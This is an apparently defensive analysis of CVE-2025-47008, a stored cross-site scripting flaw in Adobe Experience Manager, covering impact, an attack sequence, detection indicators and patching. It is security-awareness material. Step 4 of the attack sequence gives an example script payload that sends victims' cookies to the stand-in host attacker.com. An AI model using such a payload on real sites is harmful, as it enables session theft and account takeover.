CVE-2025-47008: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47008 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch available via Adobe's security advisory APSB25-48. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and subsequently executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected field) but does not require elevated privileges beyond a basic authenticated account, making it accessible to a broad range of potential attackers (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and manipulation of page content. The scope is marked as "Changed," meaning the injected script can affect resources beyond the attacker's own session. While availability is not directly impacted, the confidentiality and integrity of user data and sessions are at risk (Adobe Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, with accessible form fields that accept user input.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that render user-supplied input without proper output encoding — such as editable text fields, rich text editors, or metadata fields.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: Wait for a victim (e.g., an administrator or another user) to browse to the page containing the injected field; the stored payload executes in their browser context.
6. Achieve objective: Collect exfiltrated session cookies, credentials, or perform unauthorized actions on behalf of the victim using the captured session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission or content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• File System / Content Repository: Unexpected JavaScript snippets stored within AEM JCR (Java Content Repository) nodes, particularly in text or metadata properties of page components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Logs: Browser-side console errors or CSP (Content Security Policy) violation reports referencing unexpected external script sources originating from AEM pages.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to version 2025.5.0 or later. As interim measures, administrators should implement strict Content Security Policy (CSP) headers, enforce input validation and output encoding on all form fields, and restrict access to AEM authoring interfaces to trusted users only. A thorough review of existing stored content for injected scripts is also recommended (Adobe Advisory).